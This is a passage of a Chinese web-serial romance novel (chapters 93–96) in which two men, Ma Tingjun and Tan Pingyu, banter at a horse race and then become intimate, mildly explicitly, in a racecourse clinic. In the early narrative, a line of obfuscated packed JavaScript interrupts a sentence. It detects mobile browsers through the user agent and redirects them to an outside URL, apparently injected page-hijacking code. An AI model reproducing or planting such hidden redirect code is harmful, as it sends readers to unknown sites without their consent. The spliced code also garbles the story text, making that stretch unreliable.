谈凭玉便道:“我在香岛真没有,枢城也没有。鹭镇上倒有一个——唉呀,也不知道是谁?” 麻霆君红了耳廓,心动不已,却正色道:“鹭镇上的五爷已经不在了,只有江南的行长。你说,你和这位行长算什么关系?” 谈凭玉撇过头去。 这话问得属实没水平,做四爷的就该高高在上,谈凭玉不想搭理才是情理之间。 麻霆君自讨没趣,搂他也心虚,思索着讲些笑话圆场,不料谈凭玉飞快在他面颊上啄了一口,使他脑海间再度一片空白。 谈凭玉惨淡一笑,道:“算僵尸。” 麻霆君迟来地爆炸,道:“什么僵尸?” “你自己讲,‘我们好不容易在阳间团聚’,不是僵尸是什么?”谈凭玉一挑眉毛,又道,“你之前立你那破墓碑,不知道我会伤心?我在香岛给你烧了多少钱?能把阎王买来给你做了!” 麻霆君一时十分高兴,不经意表露在脸上,颇有些小人得志之感。谈凭玉鄙夷地甩落他的手,他讪讪地捧谈凭玉,道:“哎呀,你对我这么好,还给我烧钱。” 谈凭玉厉声道:“我是真的伤心!” 麻霆君便道:“那么,你是真的爱我。” 谈凭玉不客气:“滚远点!” 麻霆君不愿在冷风中凌乱,厚着脸皮贴他,却被狠狠拧了耳朵。无奈下接连后退,唯有耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431387|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朵上火辣辣一点疼。谈凭玉近年来脾气愈发大了,下手这么重,怎么可能是打情骂俏! 怎么好和这种人长相厮守?麻霆君想清楚,便要仔细从谈凭玉眼底寻出一些证据,以供他正大光明地脱身——却见谈凭玉比原先更美,一时语塞。 谈凭玉低头踩他脚,道:“下地狱去!正巧俞平也死了,不但有个情人等你,还有我给你烧纸钱,保你在地狱里稳稳当你的五爷!” 抬头却看他含情脉脉,自己先吓着了,道:“看什么看?” 麻霆君被一双狐狸眼冲昏了头脑,干脆全盘托出了,道:“我看你好看,怎么能长得这么好看!” 谈凭玉破了功,哈哈笑着,即便讽刺的意味更多。他这一笑,麻霆君立刻相信他是爱着自己的了,再来弹他的鼻梁,破罐子破摔,道:“做人太如意也不好。狂成这样,亏你是谈凭玉,否则我真为你担心!” “行长还是先担心自己吧,失了个玉凭这个小情人,夜里怎么睡得着?”谈凭玉歪头道,“不如换我凭玉来陪你?” 麻霆君拿他没办法,只能道:“你是不是知道我一定对你百依百顺,非要把我当狗?” 谈凭玉眼珠往下跌一眼,又向上盯着麻霆君双眸不放,笑道:“可不是?几句话而已,竟能涨成这样——难怪银行亏三年。” 麻霆君羞愤难当,气得直跺脚,可惜天寒地冻,踏在地上比往常更加疼。 赛马场上,大家都为七号落后悲鸣不止,没人顾及他们。 谈凭玉更是放肆,继续拿他寻开心。他不知道被扮了多少回小狗脸,虽是谈凭玉笑得灿烂,暖暖地烤着他的心,却只听出比赛结束,人群更喧嚣。 麻家在鹭镇主持过不少集会,麻霆君一介闲人,都忙得焦头烂额,何况谈凭玉。 这时候必然是忙里偷闲,他不愿让谈凭玉在自己身上耽搁,便道:“老爷他们应当不知道你和我在一起,你消失这么久,他们要为你担心了。” 谈凭玉哼一声,道:“不想见到我就说不想。” 麻霆君不愿被误解,提高音量道:“嗳,谈凭玉!” 谈凭玉冷一张脸,往他怀里踏一步,他以为是来讨拥抱的,便张开双臂预备。哪知道谈凭玉扭头即走,生生把他晾在一旁。他目瞪口呆,又见谈凭玉走出几步后回眸一笑。 “你放心,有我在,我必定不叫你吃亏。” 麻霆君还是没骨气,立刻感受到自己不受控制微笑了,想改变也力不从心,只有望他的背影失神。 “俞行长,俞行长!” 沉溺在谈凭玉的温柔乡太久,身后一声声“俞行长”,竟忘记叫的是他。他回过头,看到曹老板急匆匆地奔过来。 “俞行长,帮帮忙!” 麻霆君道:“怎么了?” 曹老板气喘吁吁,道:“你小子本事不小,和四爷聊天也情投意合。若是你和你那男太太的爱情故事,肉麻死了,他有耐心听?” 麻霆君回头瞟一眼,谈凭玉尚未走远,便故意大声地道:“四爷把我当狗耍!” 曹老板不解风情,置之不理,管自己道:“俞霆,我在枢城的人脉广,有一户顶天的富贵人家姓何,里头的何二爷,才貌双全,行事也端正。先前甄展有难处,我找他,一下就摆平了!” 麻霆君有不祥预感,犹豫道:“怎么?” “何二也好男色,但眼光太高,单身到现在。”曹老板笑着推搡麻霆君,道,“他早就喜欢四爷了,还不是没机会接近。正巧现在四爷有空,你帮忙留四爷一刻!” 麻霆君大脑霎时一片空白,化成一座吃惊的石塑。 曹老板看出他惊讶,又笑道:“我们都没胆子和四爷搭话,既然你能在他边上讲几句,不如你来牵红线?不论事成与否,都有厚礼。” 94.毒手 麻霆君还愣着。一不当心,曹老板拧他的耳朵,疼得他龇牙咧嘴,才发觉谈凭玉下毒手也多么甜蜜。 曹老板见他醒悟,提醒道:“嗳,俞霆!” 麻霆君一五一十听得清楚,心里宁死不愿信,反映在面上,倒有些傻乎乎的。 曹老板不解,再道:“趁四爷还没走远,你快追上去。否则等他回到看台,排队到海枯石烂,连他的丫鬟都见不上面。” 麻霆君咬牙道:“不去。” 曹老板道:“不去?” 哪有把自己的心上人献给别人的道理!他对谈凭玉两度一见钟情,怎么可能不喜欢?先前扮窝囊,无非是盼谈凭玉开金口讲爱他,他愿挨,倒逼谈凭玉愿打。 谈凭玉也爱他!否则早惬意躺在看台上,赶一茬茬来恭维的人,哪会来找他? 他们自己讲情调,叫旁人曲解,横刀夺爱到眼前,简直是要恨死了。 麻霆君气不打一处来,看谈凭玉以外的谁都讨厌,恨不得一拳一个,把不识时务的、煽风点火的、觊觎谈凭玉的,一众人物都打飞到天上去。 他管自己七窍生烟,一挎一挎卷着袖子,正是要一拳招呼在曹老板脸上,倏地看见甄展站在不远处,身边多一位全然陌生的青年。两个人都招手。 这时候冷风一吹,清醒不少。 先前他对银行经营一窍不通,又是初来乍到在枢城,走了不少弯路,直到甄展出现,好心领他前行。 曹老板是甄展的朋友,甄展是他的恩人,他打从内心感激甄展,便得罪不起曹老板,只有委曲求全,道:“我与四爷有云壤之别,亏他教养好,肯容许我犯蠢。我哪有资格牵他的红线?还是不冒险了。” 曹老板劝道:“试一试而已,不缺胳膊不少腿的,顶多吃碗闭门羹。” 麻霆君迟疑片刻,回头瞄一眼。谈凭玉居然杵着不动,不知道站了多么久。 这人更坏!专门看自己笑话。麻霆君闷闷地怨着,曹老板却只看出他闷,自作多情想了一轮,笑道:“嗳,俞霆,你和四爷取向一样,是不是看四爷愿意搭理你,也妄想当谈四奶奶,所以不乐意了?” “怎么会?”麻霆君佯装不在乎,气得几乎要嚼碎牙齿。 曹老板真当他不在乎,当是自己笑话讲得高明,便笑道:“我想也不是。削尖脑袋都嫁不进谈家的大有所在,四爷不但是家主,样貌得还这般美,哪轮得到你?” 谁轮不到?偏偏就只轮到过他! 一想至此,麻霆君又不愿把人情世故当回事了。有什么好怕的?有什么不敢承认?他就是要昭告天下:他才是谈凭玉最名正言顺的爱人! 势必抱得美人归! “曹老板,凭玉是我……” 话到嘴边又钻不出来。他自己心里也清楚,他在谈凭玉面前唯唯诺诺,表现得太差,倘使这都能叫谈凭玉心软——也太飘飘欲仙了,不像他二十二岁过后开启的惨淡生活。必然是没过谈凭玉心里一关,更没理由逞能,胆敢和大家开诚布公。 他也不想把谈凭玉当成谈资。只好改口道:“凭玉是我认为脾气极好的一位爷……哪怕面对我,从来不会高高在上摆架子。” “你欠了他这么多钱,他还肯心平气和同你聊天,看得出是个好人。” 曹老板轻松道,“要是我贸然找四爷攀谈,谈家会不会派打手清算?” 麻霆君干笑一声,道:“四爷哪做得出这种事?” 曹老板也笑道:“是,说是和气生财。” 麻霆君眼睁睁看着曹老板向谈凭玉走去,历经一场自作自受的天打雷劈。 “四爷,久仰大名!” 谈凭玉礼貌微笑。 曹老板怕耽搁他金贵时间,开门见山,道:“听说四爷风华正茂,依旧是单身。我说单身是自由,一个人总归是无聊,不说妻妾成群,到底是有个人陪着实在。” 谈凭玉不看他念念有词,光看后头的麻霆君鬼鬼祟祟地前来,离得近了,便略微低头一笑。偏是这一笑把麻霆君迷得愈加昏了头。曹老板乘人便利也乘不明白,当谈凭玉年纪轻轻面皮薄,怕羞。 美人含羞更是风情万种,他也不好意思,道:“四爷,不瞒您说,有不少青年才俊盼着能和您见上一面……按风水,算起来今年不大好,枢城正等着您的婚事冲喜呢!” 谈凭玉一笑,道:“我的爱人死了,姑且不想找续弦。” 麻霆君有苦说不出,幽幽地插嘴道:“四爷真是情深。” 谈凭玉道:“还不是以前年纪小,不懂事,被人花言巧语骗了走?” 曹老板吃惊道:“谁花言巧语,能把四爷骗了走?” 谈凭玉真挤出几滴泪,唬得麻霆君心里弥上一阵酸楚,跟着失意起来。却见谈凭玉抬眼狡黠剜他一眼,再落寞地道:“我爱人麻霆君……我会用一辈子缅怀他。” 麻霆君顷刻便恨得牙痒痒,气得两只耳朵往外冒烟。 曹老板愣一愣。先前听俞霆说要守寡,他还当这人年轻气盛,在背地里冷嘲热讽着。没想到谈四爷也有这高雅的志向,莫不是冤枉了俞霆?见这志同道合的二人互相眨眼睛,他也想被谈家的好风气熏陶,硬跻身其间,道:“四爷,您真伟大。” 见谈凭玉与麻霆君皆不语。他踌躇道:“四爷,您的爱人麻霆君……麻霆君?” 谈凭玉挑眉道:“认识?” 曹老板忙摇头,赔笑脸道:“怎么可能认识?四爷的交际圈,岂是我们能够融入的。” 把麻霆君的名字顺在嘴里琢磨透了,又道:“‘麻霆君’这名字响亮,必然也是哪家的少爷,可这枢城里头哪有姓麻的?若是‘马’,姓马的我见过,能入得了四爷法眼?” 谈凭玉道:“就是‘麻’,麻霆君。” 曹老板依旧不知道这人是谁,便道:“这麻霆君必然是个极好的青年,一定是我孤陋寡闻,才不认识他。” “可惜,造化弄人,他已经不在了。”谈凭玉要忍笑,只有微微低头,道,“他家人把他埋得好,风水宝地,正规请人看过。” 曹老板哀叹连连,麻霆君气得脸色发青,又不好开口辩驳,一双怒目迎接谈凭玉朝他抛媚眼。 谈家众人必然等着谈凭玉,久久不见他,都心急,派了单龙来寻。找他必然是先找到麻霆君——谈凭玉远远看见一条花臂,不愿小事化大,掐了话茬告辞。 看台第二层,一行人盼他凯旋归来。他散了大把彩票,管自己闲闲歇在摇椅上。 谈行一并非贪些蝇头小利不可,况且心情好,把彩票大肆赏给手底下人,赶到楼下兑奖。他下手不知轻重,才赏到一半,一沓彩票过早见了底,便问谈凭玉道:“底下都传疯了,说你一掷千金做亏本买卖,到头来就这么点?” 一掷千金不假,都进了麻霆君的荷包。谈凭玉心虚,装模作样地道:“不少了,你未免太十指不沾阳春水。” 谈行一不置可否,把剩余的几张票子撒在他脸上,待他一把捉了,露出一对狐狸眼,继而笑道:“你应当是狐狸精才对,又 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谈行一便道:“嗳,弟弟,莫非是你白白贴他,他也不肯要?是谁这么有骨气,更要见一面了。” 谈凭玉不应。 “你不肯讲?”谈行一笑道,“我又不是没有办法——阿龙,把望远镜拿来!底下要是被我寻得出戴你围巾的,我叫人把他往死里打。” 谈凭玉低头,肩颈处空空落落,才记得先前看麻霆君打哆嗦,把围巾系人脖子上了。 细究也是他太过分,玩火自焚,否则早带麻霆君来看台上避风,要围巾派什么用?眼见单龙把擦好的望远镜递了来,他做贼心虚,半道截胡在手里。 单龙力气比他大,没给他得逞。道:“四爷,对不住。” 谈行一笑着牵来单龙,道:“就应该对不住他,原本就是他把你抢了去的。” 按流程,正规比赛过后是友谊赛,宾客自发上去参加。赛马场上热闹不减,起跑线上更是乌泱泱集聚了一批人。 在二楼找人虽是堪比大海捞针,谈凭玉半是真怕他们发现,半是也想知道麻霆君身在何处,一起靠在阑干上。面上装作不在乎,由他们轮番霸占望远镜两只眼睛。 谈行一心思不在找围巾上,倒被他们轮番骑马勾了走。少时也有些跃跃欲试,苦于自己体力差,转而怂恿起谈凭玉,道:“阿弟去不去?他们不办押注,我给你开一轮。” 谈凭玉淡淡道:“不去了,没悬念的。谁敢不押我?” 他这般太狂妄,笑倒边上一众佣人。劲头过去,谈行一悄声在他耳边道:“难怪那男的不喜欢你!” 谈凭玉笑道:“有完没完了!” 言罢伺机把谈行一手里的望远镜摸了来。来友谊赛的都是花架子,身上没斗志,大约是来招亲的,搏一个露面。看得谈凭玉兴趣缺缺,随手把望远镜给了身边人,换了杯气泡酒。 谈行一突然指了马匹上一个人,道:“我认识他。” 谈凭玉正晃着酒杯,便随口道:“我们三爷不简单,足不出户,还左右逢源。” “不是!”谈行一笑道,“他是蕙心的朋友,遇上难事,找我们借钱周转。我一看他就猜你会喜欢……细细究来,他借的还是你的钱,你没见过他?” “就是他。” “什么就是他?” 谈凭玉眼皮一跳,朝底下瞥一眼,来不及回答,立刻攥起椅背上的外套,急匆匆地下了楼。 95.伤身 甄展是出了名的大龄单身。友谊赛前不少人起哄,叫他坐在马背上,以便觅得良缘。他面皮薄,不肯答应,想来才把曹老板牵线搭桥给麻霆君,也该让麻霆君为自己两肋插刀,硬是把人送了上去。 友谊赛再友谊,终归是赛,人群中热闹一阵,推出来一位青年翻身上马。 麻霆君瞄一眼,认出他正是觊觎谈凭玉的何二爷,还托曹老板游说的——然而一刻钟前,眼见甄展与何二谈笑风生,他过去横插一脚,毫不客气地道:“别打四爷的主意,他宁死也看不上你。” 他一通张牙舞爪,示威得莫名其妙。何二爷没见到谈凭玉的面,本就怏怏不乐,继而被个无名小卒一顿吓唬,心情只有更差。 纵使甄展笑着打马虎眼,梁子也结下了。 幸而“俞霆”名号太小,唯独知道他是颜青与郁蕙心的朋友。何二打听他身家底细到一半,一见他上马,看准时机,立刻要来报复。 底下嘲笑声阵阵,直奔麻霆君而来。他倒是充耳不闻——谈凭玉只爱过他,单凭这点,被多讲几句也无妨。 细究却是“爱过”,时至如今,他不大相信谈凭玉会爱他,纵使谈凭玉也承认,纵使基于他对谈凭玉的了解,肯再来见他已然是最大的让步。流浪的小伙计改了天之骄子,降临在他身边,倒是不愿相信了。 犹豫的时间,耳畔声音一阵盖过一阵。 忽然有人叫他:“何先生,我也想和俞先生比一场,请把位置让一让。” 让位置?何二爷苦苦盼来一个教训麻霆君的机会,还嫌没瞪够,怎么肯让位?立刻扭头要拒绝,却看见一张十分光彩夺目的面孔,愣道:“凭玉!” 谈凭玉与何二认识不假,苦于仅限点头之交,互相交换了名字,可以稍稍越界。 凭玉倒是谁都能叫的,何二原借赛马的机会伺机而动,哪想到谈凭玉光催债去了,在俞霆身上浪费太多时间。 这般突然前来,怎么不是英雄救英雄!他当即十分感动。谈凭玉趁他反应不过,伸手牵他下马,随口问道:“你怎么认识的俞霆?” 何二爷本就芳心暗许,撒谎的本事都没有,一五一十答出来,道:“我与俞霆起了口角,想趁着赛马的机会一较高下。” 谈凭玉笑道:“我帮你教训他?” 虽是心知肚明的客套,麻霆君有些不屑,不愿参与他们的其乐融融,或者眼睁睁见证新人牡丹花下死。但是四爷大驾光临,他没有怠慢的道理,也踩马镫翻下来。 何二爷一见他来,护在谈凭玉前面,回头向谈凭玉解释道:“我和俞霆不过小打小闹,况且收拾他,哪要你出手?不如等我跑完三圈,一起喝气泡酒。” 谈凭玉听得三心二意,有一搭没一搭地应着,轮到邀请处,便抬眼看麻霆君。人多眼杂,不好公然打情骂俏,他眼神上上下下在麻霆君身上刮一轮,好不容易刮得麻霆君开金口。 麻霆君酸溜溜地道:“自然是气泡酒好喝,四爷依了他吧,小人没有怨言。” 谈凭玉扑哧一笑,道:“行长别来无恙,还欠着我几笔款子呢,今年还的上吗?” 何二爷不愿错失一个表现机会,大吃一惊,道:“这么言而无信!” 此话一出,人群中哄笑声更盛。麻霆君不情不愿涨红了耳朵,长出一口气,道:“四爷要是存心想欺负我,杀鸡焉用牛刀,我直接认输便是了。” 谈凭玉道:“你还敢赢我?” 一声嗤笑直钻麻霆君心底里。旁人不解其意,以为是谈凭玉嫌他不知天高地厚,帮腔得更开心。 麻霆君倒是品出些别样的情愫,看谈凭玉幽幽地望着他,含情脉脉,这话大抵是来索一个吻,心里痛快不少,却佯装落魄,道:“我不作数的,不值得四爷来教训。” 又道:“四爷真要拿我寻开心,我也不愿白白出这般丑。” 谈凭玉笑道:“想要什么,尽管提。” 麻霆君鼓起勇气,道:“若是我能赢你,请把旧债一笔勾销。” 什么债?若是银行欠款,他谈凭玉的九牛一毛都称不上,况且是借给麻霆君的,不计较也罢了。又见麻霆君眼神里格外坚定,品出些鹭镇上五爷的滋味。 他确实被麻霆君的意气风发吸引,偏偏是分别几年,物是人非,两个人的心性都被折磨一阵,他回到枝头做四爷,麻霆君却是实打实的落魄。 银行里重逢,他特地为五爷到行长的转变愧疚过——幸而是虚惊一场,这时候再见到了。 他笑道:“没问题。但是输了怎么办?我倒是不用你双倍奉还。” 这时候的微笑必然发自内心,好像一切尽在三年前。麻霆君好不容易冷静下来,看他模样,不经意红了耳廓。 输了必然也是旧债一笔勾销——大庭广众,麻霆君不敢开口,否则太狂妄了,简直是拖了条尾巴等人来查其中隐情,便是支吾着不肯答。 谈凭玉把翡翠扳指拧下来,朝他抛去,道:“要是输给我,送你了。” 麻霆君接得稳,依旧心悸不已。细细究来,着翡翠扳指最早是皇帝戴的,那皇帝必然没有谈凭玉这般慷慨。他把翡翠扳指检查仔细,不见瑕疵,握紧在手心。 又看谈凭玉的苍白肤色被风吹得微微发红。他朝思暮想的正是这张面孔,迫不及待想去吻。只好道:“四爷,这翡翠扳指是无价之宝,就算是开玩笑,我也承受不住。” 谈凭玉眉毛一挑,道:“那你还给我。” 继而伸左手在他眼前,摆明了等他来戴,求婚一样。 都知道四爷好男色,开银行的有个死去的男太太。搬上台面,两个男人间却不宜过分亲密。大家都看得出奇怪,碍于四爷的面子,只有缄口不语。 诡异的寂静里,麻霆君知道另一层关系,所以听见自己心跳得格外激烈。谈凭玉不动,他上前挨着谈凭玉,很是郑重地托着左手,扳大拇指。 “这么冰。”他低低地道。 谈凭玉也轻轻地笑,悄声道:“该怪谁呢?” 麻霆君把扳指挤进他指关节,他又大声地道:“要是行长输给了我,年前还不上款,我带人把银行砸了,肯答应吗?” 岂会是砸店?必然又是借个名头来见面。麻霆君暗自高兴着,顺台阶下,道:“君子一言,驷马难追,四爷可不准反悔!” 才有人愿意喝彩。 人群中拨出一个摄影师,钻到他们面前。 凡是友谊赛,开场双方都需要牵手合影,重申“友谊”,以免为了胜负撕破脸。何二故意要找麻霆君的碴,表面功夫都不愿意做,特地把摄影师赶了走。 然而自谈凭玉奔下看台,詹兰竹也一同追下来,留单龙一人陪谈行一说笑。一见是谈凭玉要与麻霆君比拼,立刻把摄影师重新捉了回来。 何二爷不乐意,道:“他和凭玉没有友谊的,怎么好一起拍照?” 但是四爷的名号好用太多,摄影师不敢出卖詹兰竹,只有为难道:“都是要拍照的——规定么,规定。四爷亲自来督工了,怎么好怠慢?” 他说罢重新支起相机。麻霆君顺势走到谈凭玉身边,道:“四爷你讲,我们有友谊吗?” 人群主动向后退,留一小片空间专供给他们合影。谈凭玉扫周围一圈,才道:“跟俞行长没有,跟麻霆君倒是有。” 麻霆君道:“那么,和行长有的应当是爱情了。” 谈凭玉笑道:“少给我得寸进尺!” 抬腿便要往麻霆君的脚上踩,无奈边上群狼环伺,只好装作原地踏步。 麻霆君难得看他吃一回瘪,满足不少,趁摄影师擦拭镜头,小心地道:“要是俞行长和麻霆君是一起的,能不能把友谊和爱情并在一起?” 谈凭玉瞥他一眼,低头道:“看你能不能赢过我。” 麻霆君耍赖道:“我只有小时候骑马,早忘光了,要求你高抬贵手。” 等摄影师喊预备口号,叫他们先整理仪表。麻霆君不由分说搭了谈凭玉的肩膀,细细帮他掸衣褶,惹得围观群众眼红不已,谁不想给谈凭玉当走狗? 谈凭玉嫌他太殷勤,微微皱眉,装作不经意地捏他的指尖,道:“小恩小惠就想叫我放水了?” “不放水。”麻霆君笑道,“我正大光明和你比。以前不也是正大光明地叫你爱我,骑马算什么?” 谈凭玉嗤笑一声,道:“低头。” 麻霆君听话地微微欠身,他把麻霆君胡乱塞进领口的围巾抽出来,系的更仔细。 麻霆君 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谈凭玉吃一惊,暗暗挣脱不过,才道:“你好松手了,大家都看着的。” 麻霆君抱得更紧,道:“就是要叫大家好好看一看,四爷怎么欺负的我。” 摄影师看他们黏在一起,触目惊心。犹豫道:“四爷,俞先生,准备了!” 麻霆君道:“准备好了!” 摄影师不敢相信,求证一双狐狸眼睛。谈凭玉真有些无计可施,却也不想扫兴,有气无力地答应开始。 闪光灯亮了几回,后头的人才陆陆续续返回他们身边。 方才麻霆君胡搅蛮缠来一出,凡有蠢蠢欲动的、识趣的,都被他掐灭在襁褓里,更不见何二爷的踪影。麻霆君环顾四周,一个恶人没见到,管自己喜上眉梢,牵了两匹马,上至起跑线。 他把缰绳交给谈凭玉,谈凭玉翻身上马,皮笑肉不笑,居高临下地道:“知不知道你现在是什么表情?少得意。” 然而风刮得大,麻霆君没听清,嘴巴微微张开,光是傻乎乎地站着。谈凭玉飞快一笑,转而抬眼望一轮天,再回头来看他,道:“好去给新银行选址了,我非把你的店砸了不可!” 麻霆君笑着“哎呀”一声,被裁判员赶上马。 枪声一响,气氛好说歹说紧张起来。谈凭玉动了真格,一骑绝尘领先在前面。 麻霆君的马术本就粗糙,又中了他的美人计,整个人混沌沌的,能坐稳便是吉星高升。然而他却不想落在谈凭玉身后——在鹭镇,他为谈凭玉编出来的身世心疼不已,只想处处都要拔高,以便为谈凭玉遮风避雨。 如今谈凭玉成了四爷,好像没了他的用武之地,自然更不甘心。但是他马术功夫不及谈凭玉,只有悻悻落在后头,看前面的矫健背影,又想起谈凭玉是俞平的一段时日。 他不喜欢被骗。真相揭晓的一刻,更多的却是庆幸。若是拿他的痛苦换谈凭玉的幸福,绝非亏本买卖。 但是谈凭玉做什么都太理所应当,以往有悲惨身世背书,他被欺负的说不出话了,照样心疼;现在是天之骄子,还仗势欺人,不是太无法无天了? 距离拉得更大,麻霆君一心两用地提高速度,心里暗自发誓:既然谈凭玉友谊赛都不肯让着自己,自己也不好再上杆子给他当狗了。 有如此伟大志向,难免得意洋洋,偏偏何二爷暗中使绊子,轮给麻霆君的马并非驯良,遭他拙劣地一赶,气急败坏,撅着蹄子把人甩了下去。 麻霆君狠狠摔在地上。 人群有倒喝彩的,也有追到边上给他加油鼓劲的。他管自己四仰八叉地躺着,犹豫片刻,不想起来。 要说心里惨痛,大多是失了赌注,他们这比赛是众目睽睽见证过的,他没赢谈凭玉,便还要还钱给谈家。 幸而四爷不是他能赢的——丑出过了,博大家一笑;输得体面,讲出去输给四爷多么好听,也不败谈凭玉的威风;还能借着砸银行的机会好好一叙,简直想不出有什么更十全十美的事情。便更加快意地看起天空。 “霆君!” 他抬眼看见倒反着的谈凭玉向他奔来,依旧艳光四射。 96.如意 谈凭玉把马勒在中间草坪,急匆匆地奔过来,一声“霆君”才叫出声,心里便酸楚上了。近了又见麻霆君仰面朝天,更加惶恐,蹲下身扇麻霆君的脸,道:“霆君,醒一醒!” 几滴泪珠子不受控制,顺着他的脸颊砸在麻霆君面孔上。 麻霆君死死锁着眼睛,感受出点点冰凉,顿时如沐春风。一想到谈凭玉骑马时挺拔背影,脑海中尽是他对自己时的妩媚姿态——一旦想入非非,尤其是在情急之间,这般画面挥之不去,更是不敢睁眼了,轻车熟路歪脖子装死。 “霆君!”谈凭玉真当他遭遇不测了,单脚撑地地跪着,托着他的后颈,惶急道,“你怎么样?不要吓我!” 腻在谈凭玉的怀里,做梦一样,甜蜜得不敢细究,生怕当真醒过来。心花怒放的麻霆君,恨不得自己真的负伤了,叫谈凭玉好好为他心疼一番。不受控制地想微笑。 然而他心里没有对策,害怕露陷后被报复得更惨,干脆靠倒在谈凭玉的长腿上,拖延时间。 詹兰竹翻了阑干,追到场上帮忙。谈凭玉不肯叫旁人碰麻霆君,要亲力亲为,偏偏麻霆君身高骨架大,只能勉强背起来,好不容易送进了临时的医务处。 诊室的门锁上,谈凭玉坐在外头,手肘撑着膝盖,脸深深地伏低进去,说不出多么懊悔,恨不够珍惜和麻霆君相处的时间。 看台下来几个仆欧,都担心谈凭玉的身体,在他边上嘘寒问暖。詹兰竹看穿他无力应付,遣他们回原处报平安,特地嘱咐了不让老爷和三少爷来看。 “四爷。” 医生推门出来,放下白口罩,无奈向他们一笑:“检查完了,没什么问题。” 詹兰竹一边安抚谈凭玉,一边对医生道:“麻烦您再仔细看看,他状况好像很不对劲。” 医生道:“四爷请放心,那位先生只有一些擦伤,我们处理过了。” 谈凭玉一愣,道:“什么意思?” 医生不敢说实话,只道:“也许是受惊后反应过度……过度么。” 谈凭玉火急火燎地拨开医生,往诊室里闯。 里头麻霆君向他傻笑。 “去你的阴曹地府看俞平了?” 一耳光甩在麻霆君的笑脸上。麻霆君也不躲,顷刻被印了五个指印。火辣辣的痛蔓延开来,比摔伤更严重。却又觉得谈凭玉生气也可爱。 谈凭玉挥手赶他,他知趣地挪身子,以便谈凭玉挤着床沿坐下。 他道:“我可是结结实实从马背上摔下来的,就算是擦伤,怎么不是伤?倒是四爷有这么着急,我要受宠若惊了。” 谈凭玉旋走半个身子,只留给他一个侧面。他不甘心自讨没趣,捉谈凭玉的手腕,又道:“嗳,姓何的是谁?” 谈凭玉才道:“刚才大家都在,一句话不肯说,这时候懂得来找我发难了?” 麻霆君笑道:“有什么好说的?说‘大家看清楚,我是四爷的男人,都离远点’?” 谈凭玉道:“你真能说出口,我倒是挺佩服的。” 麻霆君挣扎一番,佯装着要起来:“那么,我去把大家重新召集起来,好好宣传。” 谈凭玉气鼓鼓地道:“宣传什么?你是我养的狗还差不多。” “男人就是狗。”麻霆君坐起身子,靠在床头,笑道,“嗳,四爷,你骗了我这么久,现在是你在展示你的真心,是你在追求我,怎么还对我这么不客气?” 谈凭玉腿也不翘了,鞋底重重踏在地上,顷刻就想走。无奈麻霆君紧紧钳着他的手腕,任由他软绵绵地挣扎一通,根本脱不了身。 他回过来捏麻霆君的鼻尖,道:“你这只狗真是坏透了。” “如果是俞平,我肯一辈子做他的忠犬。如果是四爷——坏透了才对呢,四爷不是最爱训狗?换你疼一疼我了。”便把谈凭玉挤在身下,如痴如醉从唇吮起。 没吻上多深,谈凭玉探手向前,小拇指剔着拉链头,一刻一刻向下,打在拉锁底部。 麻霆君泄气似的向前顶着。不想谈凭玉一把推开他,迅速站回地上。看他神色里有些迷糊,从容掸了掸衣摆,揶揄道:“唉呀,俞平真当可怜,好歹是我的人,终身托付给了什么——大名鼎鼎麻五爷,麻霆君。” 有阵风经过,才看见诊室门虚掩。谈凭玉撂下话茬,出去张望一眼。早不见詹兰竹与医生的踪影,继而轻声锁了门。 重新回来,边把外套挂在椅背上,边慢条斯理地道:“这麻霆君,太推板,骗人的时候说得好听,一生一世一双人,骗得俞平都要和他私奔了。哪知道见到我谈四,不肯守身如玉了。俞平死得真叫冤。” 听他口吻,像是讲着别人的故事。麻霆君学他说话:“哦,麻霆君有这么坏?” 谈凭玉笑道:“真是坏得要死。” 麻霆君看谈凭玉穿紧身羊绒衫,边沿小绒毛光环似的浮了一圈,看得心痒,自己身上一件却是旧得不能再旧,洗缩了水的,紧紧绷在身上。 动物要求偶,必然会比一身皮毛。他本就注重形象,一时落了下风,便有些语塞。 谈凭玉也打量他,忽然道:“单龙说你穷得揭不开锅了,有这码事?” 麻霆君道:“宽裕是不比以前,揭不开锅倒不至于。” “我看也不至于,要是吃不饱饭,哪会还这么健壮?难怪俞平喜欢你了,光是看着就心旷神怡。” 谈凭玉笑道,“难怪你喜欢俞平——成了鳏夫的,是不是都格外讨人喜欢?我最可怜了,到哪都是死了男人的命。” “四爷真恶趣味。” 麻霆君低低地嗤笑——眨眼的功夫,二人滚到一处,如胶似漆。床铺不供给两个成年男子打架的空间,护栏时不时砰砰撞着响。 亏麻霆君尚存一丝理智,进行到最后之前,撑在谈凭玉身上不动了,道:“人多手杂的,怎么在这里?” 谈凭玉挑眉道:“怕了?” 麻霆君道:“我是无所谓,你可是谈四爷。你不怕?” 谈凭玉道:“发现了不是正好?否则我被别人拐了走,高兴了?” 说罢捏来麻霆君的下巴,威逼利诱地要一个吻。麻霆君本就想在他身上流连,更是拗不过,竭力克制地伺候着。 耳鬓厮磨一阵,叫人分不清时日,只有大拇指上一点冰凉提醒着不是在三年前。所以他受亲热得心不在焉,只觉得一切都没发生过,又知道没迈过麻霆君心里一关。他们有话没有说完,他心里还愧疚着,不好不明不白地续上了。 正纠结着,麻霆君牵他的手腕向下—— 谈凭玉气不打一处来,然而麻霆君兴致高昂,不好戳破,便甩脱了麻霆君,剔着皮带扣。 “你是四爷我是四爷?” 麻霆君腼腆朝他一笑,更是亲昵地工作起来。他顺着麻霆君的后脑勺看他耳廓,掐耳垂上一点肉,心里只有更难过。麻霆君尝出他兴致缺缺,重新攀他的肩,吻他的眼窝处的凹陷,吻得他睁不开眼,才道:“我帮你听着,没人过来,别担心了。” 到底算什么?心里是怎么想的?要是问得出口,“四爷”也是白叫人恭维了。他哪怕沦落成俞平都没有怀疑过麻霆君的爱,现在不知纠结什么? 谈凭玉泄了气,不敢讲实话,挣扎着坐起来。 麻霆君随他一起,枕在他的腿上,仰头看他。小狗一样。他摩挲起麻霆君的下巴,试图找出一星半点的胡茬。 麻霆君道:“每天早上都刮,算模范生呢。” 